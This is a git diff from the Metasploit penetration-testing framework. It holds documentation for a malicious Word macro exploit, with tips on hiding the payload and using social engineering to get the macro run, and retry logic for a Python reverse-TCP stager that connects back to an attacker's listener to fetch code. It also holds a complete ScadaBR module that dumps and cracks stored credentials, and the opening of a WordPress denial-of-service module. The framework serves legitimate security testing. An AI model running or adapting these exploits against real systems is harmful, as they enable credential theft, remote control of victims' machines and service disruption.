In this example, first we generate the malicious docm exploit, and then we set up a
|
||||
windows/meterpreter/reverse_tcp handler to receive a session. Next, we copy the docm
|
||||
exploit to a Windows machine with Office 2013 installed, when the document runs the
|
||||
macro, we get a session:
|
||||
|
||||
![macro_demo](https://cloud.githubusercontent.com/assets/1170914/22602348/751f9d66-ea08-11e6-92ce-4e52f88aaebf.gif)
|
||||
|
||||
## Modification
|
||||
|
||||
To use this exploit in a real environment, you will most likely need to modify the docm content.
|
||||
Here's one approach you can do:
|
||||
|
||||
1. Use the module to generate the malicious docm
|
||||
2. Copy the malicious docm to the vulnerable machine, and edit it with Microsoft Office (such as 2013).
|
||||
When you open the document, the payload will probably do something on your machine. It's ok,
|
||||
since you generated it, it should not cause any problems for you.
|
||||
3. Save the doc, and test again to make sure the payload still works.
|
||||
|
||||
While editing, you should avoid modifying the following unless you are an advanced user:
|
||||
|
||||
* The comments field. If you have to modify this, make sure to create 55 empty spaces
|
||||
in front of the payload string. The blank space is for making the payload less obvious
|
||||
at first sight if the user views the file properties.
|
||||
* The VB code in the macro.
|
||||
**CUSTOMTEMPLATE** A docx file that will be used as a template to build the exploit.
|
||||
|
||||
## Trusted Document
|
||||
|
||||
By default, Microsoft Office does not execute macros automatically unless it is considered as a
|
||||
trusted document. This means that if a macro is present, the user will most likely need to manually
|
||||
click on the "Enable Content" button in order to run the macro.
|
||||
click on the "Enable Content" or "Enable Macro" button in order to run the macro.
|
||||
|
||||
Many in-the-wild attacks face this type of challenge, and most rely on social-engineering to trick
|
||||
the user into allowing the macro to run. For example, making the document look like something
|
||||
written from a legit source, such as [this attack](https://motherboard.vice.com/en_us/article/these-hackers-cleverly-disguised-their-malware-as-a-document-about-trumps-victory).
|
||||
|
||||
To truly make the macro document to run without any warnings, you must somehow figure out a way to
|
||||
To truly make the macro document run without any warnings, you must somehow figure out a way to
|
||||
sign the macro by a trusted publisher, or using a certificate that the targeted machine trusts.
|
||||
|
||||
If money is not an issue, you can easily buy a certificate on-line:
|
||||
[https://www.sslshopper.com/microsoft-vba-code-signing-certificates.html](https://www.sslshopper.com/microsoft-vba-code-signing-certificates.html)
|
||||
|
||||
For testing purposes, another way to have a certificate is to create a self-signed one using
|
||||
Microsoft Office's SELFCERT.exe utility. This tool can be found in the following path on
|
||||
Windows:
|
||||
|
|
|
@ -30,7 +30,7 @@ module Metasploit
|
|||
end
|
||||
end
|
||||
|
||||
VERSION = "4.14.22"
|
||||
VERSION = "4.14.24"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
|
|
@ -125,9 +125,10 @@ module Msf
|
|||
#
|
||||
# You should call {#connect} before calling this
|
||||
#
|
||||
# @param simple_client [Rex::Proto::SMB::SimpleClient] Optional SimpleClient instance to use
|
||||
# @return [void]
|
||||
def smb_login
|
||||
simple.login(
|
||||
def smb_login(simple_client = self.simple)
|
||||
simple_client.login(
|
||||
datastore['SMBName'],
|
||||
datastore['SMBUser'],
|
||||
datastore['SMBPass'],
|
||||
|
@ -142,7 +143,7 @@ module Msf
|
|||
datastore['SMB::Native_LM'],
|
||||
{:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost}
|
||||
)
|
||||
simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
|
||||
simple_client.connect("\\\\#{datastore['RHOST']}\\IPC$")
|
||||
end
|
||||
|
||||
|
||||
|
@ -637,6 +638,201 @@ module Msf
|
|||
lang
|
||||
end
|
||||
|
||||
# Map an integer share type to a human friendly descriptor
|
||||
def smb_lookup_share_type(val)
|
||||
[ 'DISK', 'PRINTER', 'DEVICE', 'IPC', 'SPECIAL', 'TEMPORARY' ][val]
|
||||
end
|
||||
|
||||
# Retrieve detailed information about a specific share using any available method
|
||||
def smb_netsharegetinfo(share)
|
||||
smb_srvsvc_netsharegetinfo(share)
|
||||
end
|
||||
|
||||
# Retrieve detailed share dinformation via the NetShareGetInfo function in the Server Service
|
||||
def smb_srvsvc_netsharegetinfo(share)
|
||||
shares = []
|
||||
simple.connect("\\\\#{rhost}\\IPC$")
|
||||
handle = dcerpc_handle('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', 'ncacn_np', ["\\srvsvc"])
|
||||
begin
|
||||
dcerpc_bind(handle)
|
||||
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||
vprint_error(e.message)
|
||||
return []
|
||||
end
|
||||
|
||||
stubdata =
|
||||
NDR.uwstring("\\\\#{rhost}") +
|
||||
NDR.wstring(share) +
|
||||
NDR.long(2)
|
||||
|
||||
response = dcerpc.call(0x10, stubdata)
|
||||
|
||||
if ! response
|
||||
raise RuntimeError, "Invalid DCERPC response: <empty>"
|
||||
end
|
||||
|
||||
head = response.slice!(0, 40)
|
||||
if head.length != 40
|
||||
raise RuntimeError, "Invalid DCERPC response: not enough data"
|
||||
end
|
||||
|
||||
share_info = {
|
||||
share_type: head[12, 4].unpack('V').first,
|
||||
permissions: head[20, 4].unpack('V').first,
|
||||
max_users: head[24, 4].unpack('V').first,
|
||||
}
|
||||
|
||||
idx = 0
|
||||
|
||||
[:share, :comment, :path, :password].each do |field|
|
||||
field_info = response[idx, 12].unpack("V*")
|
||||
break if field_info.length == 0
|
||||
idx += 12
|
||||
|
||||
field_text = response[idx, field_info.first * 2]
|
||||
share_info[ field ] = field_text.gsub("\x00", '')
|
||||
idx += (field_info.first * 2)
|
||||
idx += (idx % 4)
|
||||
end
|
||||
|
||||
share_info
|
||||
end
|
||||
|
||||
# Retreive a list of all shares using any available method
|
||||
def smb_netshareenumall
|
||||
begin
|
||||
return smb_srvsvc_netshareenumall
|
||||
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||
vprint_error("Warning: NetShareEnumAll failed via Server Service, falling back to LANMAN: #{e}")
|
||||
fail_with(Failure::NoTarget, "No matching target")
|
||||
return smb_lanman_netshareenumall
|
||||
end
|
||||
end
|
||||
|
||||
# Retrieve a list of shares via the NetShareEnumAll function in the Server Service
|
||||
def smb_srvsvc_netshareenumall
|
||||
shares = []
|
||||
simple.connect("\\\\#{rhost}\\IPC$")
|
||||
handle = dcerpc_handle('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', 'ncacn_np', ["\\srvsvc"])
|
||||
begin
|
||||
dcerpc_bind(handle)
|
||||
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||
vprint_error(e.message)
|
||||
return []
|
||||
end
|
||||
|
||||
stubdata =
|
||||
NDR.uwstring("\\\\#{rhost}") +
|
||||
NDR.long(1) #level
|
||||
|
||||
ref_id = stubdata[0,4].unpack("V")[0]
|
||||
ctr = [1, ref_id + 4 , 0, 0].pack("VVVV")
|
||||
|
||||
stubdata << ctr
|
||||
stubdata << NDR.align(ctr)
|
||||
stubdata << ["FFFFFFFF"].pack("H*")
|
||||
stubdata << [ref_id + 8, 0].pack("VV")
|
||||
response = dcerpc.call(0x0f, stubdata)
|
||||
res = response.dup
|
||||
win_error = res.slice!(-4, 4).unpack("V")[0]
|
||||
|
||||
if win_error != 0
|
||||
raise RuntimeError, "Invalid DCERPC response: win_error = #{win_error}"
|
||||
end
|
||||
|
||||
# Remove unused data
|
||||
res.slice!(0,12) # level, CTR header, Reference ID of CTR
|
||||
share_count = res.slice!(0, 4).unpack("V")[0]
|
||||
res.slice!(0,4) # Reference ID of CTR1
|
||||
share_max_count = res.slice!(0, 4).unpack("V")[0]
|
||||
|
||||
if share_max_count != share_count
|
||||
raise RuntimeError, "Invalid DCERPC response: count != count max (#{share_count}/#{share_max_count})"
|
||||
end
|
||||
|
||||
# ReferenceID / Type / ReferenceID of Comment
|
||||
types = res.slice!(0, share_count * 12).scan(/.{12}/n).map{|a| a[4,2].unpack("v")[0]}
|
||||
|
||||
share_count.times do |t|
|
||||
length, offset, max_length = res.slice!(0, 12).unpack("VVV")
|
||||
if offset != 0
|
||||
raise RuntimeError, "Invalid DCERPC response: offset != 0 (#{offset})"
|
||||
end
|
||||
|
||||
if length != max_length
|
||||
raise RuntimeError, "Invalid DCERPC response: length !=max_length (#{length}/#{max_length})"
|
||||
end
|
||||
name = res.slice!(0, 2 * length).gsub('\x00','')
|
||||
res.slice!(0,2) if length % 2 == 1 # pad
|
||||
|
||||
comment_length, comment_offset, comment_max_length = res.slice!(0, 12).unpack("VVV")
|
||||
|
||||
if comment_offset != 0
|
||||
raise RuntimeError, "Invalid DCERPC response: comment_offset != 0 (#{comment_offset})"
|
||||
end
|
||||
|
||||
if comment_length != comment_max_length
|
||||
raise RuntimeError, "Invalid DCERPC response: comment_length != comment_max_length (#{comment_length}/#{comment_max_length})"
|
||||
end
|
||||
|
||||
comment = res.slice!(0, 2 * comment_length)
|
||||
|
||||
res.slice!(0,2) if comment_length % 2 == 1 # pad
|
||||
|
||||
name = Rex::Text.to_ascii(name).gsub("\x00", "")
|
||||
s_type = Rex::Text.to_ascii(smb_lookup_share_type(types[t])).gsub("\x00", "")
|
||||
comment = Rex::Text.to_ascii(comment).gsub("\x00", "")
|
||||
|
||||
shares << [ name, s_type, comment ]
|
||||
end
|
||||
|
||||
shares
|
||||
end
|
||||
|
||||
# Retrieve a list of shares via the NetShareEnumAll function in the LANMAN service
|
||||
# This method can only return shares with names 12 bytes or less
|
||||
def smb_lanman_netshareenumall
|
||||
shares = []
|
||||
begin
|
||||
res = self.simple.client.trans(
|
||||
"\\PIPE\\LANMAN",
|
||||
(
|
||||
[0x00].pack('v') +
|
||||
"WrLeh\x00" +
|
||||
"B13BWz\x00" +
|
||||
[0x01, 65406].pack("vv")
|
||||
))
|
||||
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||
vprint_error("Could not enumerate shares via LANMAN")
|
||||
return []
|
||||
end
|
||||
if res.nil?
|
||||
vprint_error("Could not enumerate shares via LANMAN")
|
||||
return []
|
||||
end
|
||||
|
||||
lerror, lconv, lentries, lcount = res['Payload'].to_s[
|
||||
res['Payload'].v['ParamOffset'],
|
||||
res['Payload'].v['ParamCount']
|
||||
].unpack("v4")
|
||||
|
||||
data = res['Payload'].to_s[
|
||||
res['Payload'].v['DataOffset'],
|
||||
res['Payload'].v['DataCount']
|
||||
]
|
||||
|
||||
0.upto(lentries - 1) do |i|
|
||||
sname,tmp = data[(i * 20) + 0, 14].split("\x00")
|
||||
stype = data[(i * 20) + 14, 2].unpack('v')[0]
|
||||
scoff = data[(i * 20) + 16, 2].unpack('v')[0]
|
||||
scoff -= lconv if lconv != 0
|
||||
scomm,tmp = data[scoff, data.length - scoff].split("\x00")
|
||||
shares << [ sname, smb_lookup_share_type(stype), scomm]
|
||||
end
|
||||
|
||||
shares
|
||||
end
|
||||
|
||||
# @return [Rex::Proto::SMB::SimpleClient]
|
||||
attr_accessor :simple
|
||||
end
|
||||
|
|
|
@ -16,6 +16,14 @@ module Payload::Python::ReverseTcp
|
|||
include Msf::Payload::Python
|
||||
include Msf::Payload::Python::SendUUID
|
||||
|
||||
def initialize(*args)
|
||||
super
|
||||
register_advanced_options([
|
||||
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails (zero to infinite retries)', 10]),
|
||||
OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
|
@ -23,7 +31,8 @@ module Payload::Python::ReverseTcp
|
|||
conf = {
|
||||
port: datastore['LPORT'],
|
||||
host: datastore['LHOST'],
|
||||
retry_count: datastore['ReverseConnectRetries'],
|
||||
retry_count: datastore['StagerRetryCount'],
|
||||
retry_wait: datastore['StagerRetryWait'],
|
||||
}
|
||||
|
||||
generate_reverse_tcp(conf)
|
||||
|
@ -43,9 +52,27 @@ module Payload::Python::ReverseTcp
|
|||
|
||||
def generate_reverse_tcp(opts={})
|
||||
# Set up the socket
|
||||
cmd = "import socket,struct\n"
|
||||
cmd = "import socket,struct#{opts[:retry_wait].to_i > 0 ? ',time' : ''}\n"
|
||||
if opts[:retry_wait].blank? # do not retry at all (old style)
|
||||
cmd << "s=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2
|
||||
cmd << "s.connect(('#{opts[:host]}',#{opts[:port]}))\n"
|
||||
else
|
||||
if opts[:retry_count] > 0
|
||||
cmd << "for x in range(#{opts[:retry_count].to_i}):\n"
|
||||
else
|
||||
cmd << "while 1:\n"
|
||||
end
|
||||
cmd << "\ttry:\n"
|
||||
cmd << "\t\ts=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2
|
||||
cmd << "\t\ts.connect(('#{opts[:host]}',#{opts[:port]}))\n"
|
||||
cmd << "\t\tbreak\n"
|
||||
cmd << "\texcept:\n"
|
||||
if opts[:retry_wait].to_i <= 0
|
||||
cmd << "\t\tpass\n" # retry immediately
|
||||
else
|
||||
cmd << "\t\ttime.sleep(#{opts[:retry_wait]})\n" # retry after waiting
|
||||
end
|
||||
end
|
||||
cmd << py_send_uuid if include_send_uuid
|
||||
cmd << "l=struct.unpack('>I',s.recv(4))[0]\n"
|
||||
cmd << "d=s.recv(l)\n"
|
||||
|
|
|
@ -240,9 +240,6 @@ module ModuleCommandDispatcher
|
|||
rescue ::RuntimeError => e
|
||||
# Some modules raise RuntimeError but we don't necessarily care about those when we run check()
|
||||
elog("#{e.message}\n#{e.backtrace.join("\n")}")
|
||||
rescue Msf::OptionValidateError => e
|
||||
print_error("{peer} - Check failed: #{e.message}")
|
||||
elog("#{e.message}\n#{e.backtrace.join("\n")}")
|
||||
rescue ::Exception => e
|
||||
print_error("Check failed: #{e.class} #{e}")
|
||||
elog("#{e.message}\n#{e.backtrace.join("\n")}")
|
||||
|
|
|
@ -1049,7 +1049,18 @@ require 'msf/core/exe/segment_appender'
|
|||
to_exe_elf(framework, opts, "template_x64_linux.bin", code)
|
||||
end
|
||||
|
||||
# Create a 64-bit Linux ELF_DYN containing the payload provided in +code+
|
||||
# Create a 32-bit x86 Linux ELF_DYN containing the payload provided in +code+
|
||||
#
|
||||
# @param framework [Msf::Framework]
|
||||
# @param code [String]
|
||||
# @param opts [Hash]
|
||||
# @option [String] :template
|
||||
# @return [String] Returns an elf
|
||||
def self.to_linux_x86_elf_dll(framework, code, opts = {})
|
||||
to_exe_elf(framework, opts, "template_x86_linux_dll.bin", code)
|
||||
end
|
||||
|
||||
# Create a 64-bit x86_64 Linux ELF_DYN containing the payload provided in +code+
|
||||
#
|
||||
# @param framework [Msf::Framework]
|
||||
# @param code [String]
|
||||
|
@ -1060,7 +1071,7 @@ require 'msf/core/exe/segment_appender'
|
|||
to_exe_elf(framework, opts, "template_x64_linux_dll.bin", code)
|
||||
end
|
||||
|
||||
# self.to_linux_mipsle_elf
|
||||
# Create a 32-bit ARMLE Linux ELF containing the payload provided in +code+
|
||||
#
|
||||
# @param framework [Msf::Framework]
|
||||
# @param code [String]
|
||||
|
@ -1071,7 +1082,18 @@ require 'msf/core/exe/segment_appender'
|
|||
to_exe_elf(framework, opts, "template_armle_linux.bin", code)
|
||||
end
|
||||
|
||||
# self.to_linux_mipsle_elf
|
||||
# Create a 32-bit ARMLE Linux ELF_DYN containing the payload provided in +code+
|
||||
#
|
||||
# @param framework [Msf::Framework]
|
||||
# @param code [String]
|
||||
# @param opts [Hash]
|
||||
# @option [String] :template
|
||||
# @return [String] Returns an elf
|
||||
def self.to_linux_armle_elf_dll(framework, code, opts = {})
|
||||
to_exe_elf(framework, opts, "template_armle_linux_dll.bin", code)
|
||||
end
|
||||
|
||||
# Create a 32-bit MIPSLE Linux ELF containing the payload provided in +code+
|
||||
# Little Endian
|
||||
# @param framework [Msf::Framework]
|
||||
# @param code [String]
|
||||
|
@ -1082,7 +1104,7 @@ require 'msf/core/exe/segment_appender'
|
|||
to_exe_elf(framework, opts, "template_mipsle_linux.bin", code)
|
||||
end
|
||||
|
||||
# self.to_linux_mipsbe_elf
|
||||
# Create a 32-bit MIPSBE Linux ELF containing the payload provided in +code+
|
||||
# Big Endian
|
||||
# @param framework [Msf::Framework]
|
||||
# @param code [String]
|
||||
|
@ -2117,8 +2139,12 @@ require 'msf/core/exe/segment_appender'
|
|||
end
|
||||
if !plat || plat.index(Msf::Module::Platform::Linux)
|
||||
case arch
|
||||
when ARCH_X86
|
||||
to_linux_x86_elf_dll(framework, code, exeopts)
|
||||
when ARCH_X64
|
||||
to_linux_x64_elf_dll(framework, code, exeopts)
|
||||
when ARCH_ARMLE
|
||||
to_linux_armle_elf_dll(framework, code, exeopts)
|
||||
end
|
||||
end
|
||||
when 'macho', 'osx-app'
|
||||
|
|
|
@ -68,6 +68,7 @@ class Priv < Extension
|
|||
|
||||
if( response.result == 0 and technique != nil )
|
||||
client.core.use( "stdapi" ) if not client.ext.aliases.include?( "stdapi" )
|
||||
client.update_session_info
|
||||
client.sys.config.getprivs
|
||||
if client.framework.db and client.framework.db.active
|
||||
client.framework.db.report_note(
|
||||
|
|
|
@ -139,8 +139,12 @@ attr_accessor :socket, :client, :direct, :shares, :last_share
|
|||
end
|
||||
|
||||
def disconnect(share)
|
||||
if self.shares[share]
|
||||
ok = self.client.tree_disconnect(self.shares[share])
|
||||
self.shares.delete(share)
|
||||
return ok
|
||||
end
|
||||
false
|
||||
end
|
||||
|
||||
|
||||
|
|
|
@ -24,9 +24,11 @@ Gem::Specification.new do |spec|
|
|||
spec.homepage = 'https://www.metasploit.com'
|
||||
spec.license = 'BSD-3-clause'
|
||||
|
||||
if File.directory?(File.join(File.dirname(__FILE__), ".git"))
|
||||
spec.files = `git ls-files`.split($/).reject { |file|
|
||||
file =~ /^documentation|^data\/gui|^external/
|
||||
file =~ /^documentation|^external/
|
||||
}
|
||||
end
|
||||
spec.bindir = '.'
|
||||
if ENV['CREATE_BINSTUBS']
|
||||
spec.executables = [
|
||||
|
@ -34,7 +36,6 @@ Gem::Specification.new do |spec|
|
|||
'msfd',
|
||||
'msfrpc',
|
||||
'msfrpcd',
|
||||
'msfupdate',
|
||||
'msfvenom'
|
||||
]
|
||||
end
|
||||
|
@ -135,7 +136,7 @@ Gem::Specification.new do |spec|
|
|||
spec.add_runtime_dependency 'rex-struct2'
|
||||
# Library which contains architecture specific information such as registers, opcodes,
|
||||
# and stack manipulation routines.
|
||||
spec.add_runtime_dependency 'rex-arch', '0.1.4'
|
||||
spec.add_runtime_dependency 'rex-arch'
|
||||
# Library for working with OLE.
|
||||
spec.add_runtime_dependency 'rex-ole'
|
||||
# Library for creating and/or parsing MIME messages.
|
||||
|
|
|
@ -0,0 +1,222 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'ScadaBR Credentials Dumper',
|
||||
'Description' => %q{
|
||||
This module retrieves credentials from ScadaBR, including
|
||||
service credentials and unsalted SHA1 password hashes for
|
||||
all users, by invoking the 'EmportDwr.createExportData' DWR
|
||||
method of Mango M2M which is exposed to all authenticated
|
||||
users regardless of privilege level.
|
||||
|
||||
This module has been tested successfully with ScadaBR
|
||||
versions 1.0 CE and 0.9 on Windows and Ubuntu systems.
|
||||
},
|
||||
'Author' => 'Brendan Coles <bcoles[at]gmail.com>',
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => ['URL', 'http://www.scadabr.com.br/?q=node/1375'],
|
||||
'Targets' => [[ 'Automatic', {} ]],
|
||||
'DisclosureDate' => 'May 28 2017'))
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8080),
|
||||
OptString.new('USERNAME', [ true, 'The username for the application', 'admin' ]),
|
||||
OptString.new('PASSWORD', [ true, 'The password for the application', 'admin' ]),
|
||||
OptString.new('TARGETURI', [ true, 'The base path to ScadaBR', '/ScadaBR' ]),
|
||||
OptPath.new('PASS_FILE', [ false, 'Wordlist file to crack password hashes',
|
||||
File.join(Msf::Config.data_directory, 'wordlists', 'unix_passwords.txt') ])
|
||||
])
|
||||
end
|
||||
|
||||
def login(user, pass)
|
||||
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'login.htm'),
|
||||
'method' => 'POST',
|
||||
'cookie' => "JSESSIONID=#{Rex::Text.rand_text_hex(32)}",
|
||||
'vars_post' => { 'username' => Rex::Text.uri_encode(user, 'hex-normal'),
|
||||
'password' => Rex::Text.uri_encode(pass, 'hex-normal') }
|
||||
|
||||
unless res
|
||||
fail_with Failure::Unreachable, "#{peer} Connection failed"
|
||||
end
|
||||
|
||||
if res.code == 302 && res.headers['location'] !~ /login\.htm/ && res.get_cookies =~ /JSESSIONID=([^;]+);/
|
||||
@cookie = res.get_cookies.scan(/JSESSIONID=([^;]+);/).flatten.first
|
||||
print_good "#{peer} Authenticated successfully as '#{user}'"
|
||||
else
|
||||
fail_with Failure::NoAccess, "#{peer} Authentication failed"
|
||||
end
|
||||
end
|
||||
|
||||
def export_data
|
||||
params = 'callCount=1',
|
||||
"page=#{target_uri.path}/emport.shtm",
|
||||
"httpSessionId=#{@cookie}",
|
||||
"scriptSessionId=#{Rex::Text.rand_text_hex(32)}",
|
||||
'c0-scriptName=EmportDwr',
|
||||
'c0-methodName=createExportData',
|
||||
'c0-id=0',
|
||||
'c0-param0=string:3',
|
||||
'c0-param1=boolean:true',
|
||||
'c0-param2=boolean:true',
|
||||
'c0-param3=boolean:true',
|
||||
'c0-param4=boolean:true',
|
||||
'c0-param5=boolean:true',
|
||||
'c0-param6=boolean:true',
|
||||
'c0-param7=boolean:true',
|
||||
'c0-param8=boolean:true',
|
||||
'c0-param9=boolean:true',
|
||||
'c0-param10=boolean:true',
|
||||
'c0-param11=boolean:true',
|
||||
'c0-param12=boolean:true',
|
||||
'c0-param13=boolean:true',
|
||||
'c0-param14=boolean:true',
|
||||
'c0-param15=boolean:true',
|
||||
'c0-param16=string:100',
|
||||
'c0-param17=boolean:true',
|
||||
'batchId=1'
|
||||
|
||||
uri = normalize_uri target_uri.path, 'dwr/call/plaincall/EmportDwr.createExportData.dwr'
|
||||
res = send_request_cgi 'uri' => uri,
|
||||
'method' => 'POST',
|
||||
'cookie' => "JSESSIONID=#{@cookie}",
|
||||
'ctype' => 'text/plain',
|
||||
'data' => params.join("\n")
|
||||
|
||||
unless res
|
||||
fail_with Failure::Unreachable, "#{peer} Connection failed"
|
||||
end
|
||||
|
||||
unless res.body =~ /dwr.engine._remoteHandleCallback/
|
||||
fail_with Failure::UnexpectedReply, "#{peer} Export failed."
|
||||
end
|
||||
|
||||
config_data = res.body.scan(/dwr.engine._remoteHandleCallback\('\d*','\d*',"(.+)"\);/).flatten.first
|
||||
print_good "#{peer} Export successful (#{config_data.length} bytes)"
|
||||
|
||||
begin
|
||||
return JSON.parse(config_data.gsub(/\\r\\n/, '').gsub(/\\"/, '"'))
|
||||
rescue
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} Could not parse exported settings as JSON.")
|
||||
end
|
||||
end
|
||||
|
||||
def load_wordlist(wordlist)
|
||||
return unless File.exist? wordlist
|
||||
File.open(wordlist, 'rb').each_line do |line|
|
||||
@wordlist << line.chomp
|
||||
end
|
||||
end
|
||||
|
||||
def crack(user, hash)
|
||||
return user if hash.eql? Rex::Text.sha1 user
|
||||
pass = nil
|
||||
@wordlist.each do |word|
|
||||
if hash.eql? Rex::Text.sha1 word
|
||||
pass = word
|
||||
break
|
||||
end
|
||||
end
|
||||
pass
|
||||
end
|
||||
|
||||
def run
|
||||
login datastore['USERNAME'], datastore['PASSWORD']
|
||||
|
||||
json = export_data
|
||||
|
||||
service_data = { address: rhost,
|
||||
port: rport,
|
||||
service_name: (ssl ? 'https' : 'http'),
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id }
|
||||
|
||||
columns = 'Username', 'Password', 'Hash (SHA1)', 'Admin', 'E-mail'
|
||||
user_cred_table = Rex::Text::Table.new 'Header' => 'ScadaBR User Credentials',
|
||||
'Indent' => 1,
|
||||
'Columns' => columns
|
||||
|
||||
if json['users'].empty?
|
||||
print_error 'Found no user data'
|
||||
else
|
||||
print_good "Found #{json['users'].length} users"
|
||||
@wordlist = *'0'..'9', *'A'..'Z', *'a'..'z'
|
||||
@wordlist.concat(['12345', 'admin', 'password', 'scada', 'scadabr'])
|
||||
load_wordlist datastore['PASS_FILE'] unless datastore['PASS_FILE'].nil?
|
||||
end
|
||||
|
||||
json['users'].each do |user|
|
||||
next if user['username'].eql?('')
|
||||
|
||||
username = user['username']
|
||||
admin = user['admin']
|
||||
mail = user['email']
|
||||
hash = Rex::Text.decode_base64(user['password']).unpack('H*').flatten.first
|
||||
pass = crack username, hash
|
||||
user_cred_table << [username, pass, hash, admin, mail]
|
||||
|
||||
if pass
|
||||
print_status "Found weak credentials (#{username}:#{pass})"
|
||||
creds = { origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
private_type: :password,
|
||||
private_data: pass,
|
||||
username: user }
|
||||
else
|
||||
creds = { origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
private_type: :nonreplayable_hash,
|
||||
private_data: hash,
|
||||
username: user }
|
||||
end
|
||||
|
||||
creds.merge! service_data
|
||||
credential_core = create_credential creds
|
||||
login_data = { core: credential_core,
|
||||
access_level: (admin ? 'Admin' : 'User'),
|
||||
status: Metasploit::Model::Login::Status::UNTRIED }
|
||||
login_data.merge! service_data
|
||||
create_credential_login login_data
|
||||
end
|
||||
|
||||
columns = 'Service', 'Host', 'Port', 'Username', 'Password'
|
||||
service_cred_table = Rex::Text::Table.new 'Header' => 'ScadaBR Service Credentials',
|
||||
'Indent' => 1,
|
||||
'Columns' => columns
|
||||
|
||||
system_settings = json['systemSettings'].first
|
||||
|
||||
unless system_settings['emailSmtpHost'].eql?('') || system_settings['emailSmtpUsername'].eql?('')
|
||||
smtp_host = system_settings['emailSmtpHost']
|
||||
smtp_port = system_settings['emailSmtpPort']
|
||||
smtp_user = system_settings['emailSmtpUsername']
|
||||
smtp_pass = system_settings['emailSmtpPassword']
|
||||
vprint_good "Found SMTP credentials: #{smtp_user}:#{smtp_pass}@#{smtp_host}:#{smtp_port}"
|
||||
service_cred_table << ['SMTP', smtp_host, smtp_port, smtp_user, smtp_pass]
|
||||
end
|
||||
|
||||
unless system_settings['httpClientProxyServer'].eql?('') || system_settings['httpClientProxyUsername'].eql?('')
|
||||
proxy_host = system_settings['httpClientProxyServer']
|
||||
proxy_port = system_settings['httpClientProxyPort']
|
||||
proxy_user = system_settings['httpClientProxyUsername']
|
||||
proxy_pass = system_settings['httpClientProxyPassword']
|
||||
vprint_good "Found HTTP proxy credentials: #{proxy_user}:#{proxy_pass}@#{proxy_host}:#{proxy_port}"
|
||||
service_cred_table << ['HTTP proxy', proxy_host, proxy_port, proxy_user, proxy_pass]
|
||||
end
|
||||
|
||||
print_line
|
||||
print_line user_cred_table.to_s
|
||||
print_line
|
||||
print_line service_cred_table.to_s
|
||||
|
||||
path = store_loot 'scadabr.config', 'text/plain', rhost, json, 'ScadaBR configuration settings'
|
||||
print_good "Config saved in: #{path}"
|
||||
end
|
||||
end
|
|
@ -0,0 +1,171 @@
|
|||
##
|
||||
# This module requires Metasploit: http://www.metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HTTP::Wordpress
|
||||
include Msf::Auxiliary::Dos
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(
|
||||
info,
|
||||
'Name' => 'WordPress Traversal Directory DoS',
|
||||
'Description' => %q{
|
||||
Cross-site request forgery (CSRF) vulnerability in the wp_ajax_update_plugin
|
||||
function in wp-admin/includes/ajax-actions.php in WordPress before 4.6
|
||||
allows remote attackers to hijack the authentication of subscribers
|
||||
for /dev/random read operations by leveraging a late call to
|
||||
the check_ajax_referer function, a related issue to CVE-2016-6896.},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Yorick Koster', # Vulnerability disclosure
|
||||
'CryptisStudents' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2016-6897'],
|
||||
['EDB', '40288'],
|
||||
['OVEID', 'OVE-20160712-0036']
|
||||
],
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('RLIMIT', [true, 'The number of requests to send', 200]),
|
||||
OptInt.new('THREADS', [true, 'The number of concurrent threads', 5]),
|
||||
OptInt.new('TIMEOUT', [true, 'The maximum time in seconds to wait for each request to finish', 5]),
|
||||
OptInt.new('DEPTH', [true, 'The depth of the path', 10]),
|
||||
OptString.new('USERNAME', [true, 'The username to send the requests with', '']),
|
||||
OptString.new('PASSWORD', [true, 'The password to send the requests with', ''])
|
||||
])
|
||||
end
|
||||
|
||||
def rlimit
|
||||
datastore['RLIMIT']
|
||||
end
|
||||
|
||||
def username
|
||||
datastore['USERNAME']
|
||||
end
|
||||
|
||||
def password
|
||||
datastore['PASSWORD']
|
||||
end
|
||||
|
||||
def thread_count
|
||||
datastore['THREADS']
|
||||
end
|
||||
|
||||
def timeout
|
||||
datastore['TIMEOUT']
|
||||
end
|
||||
|
||||
def depth
|
||||
datastore['DEPTH']
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
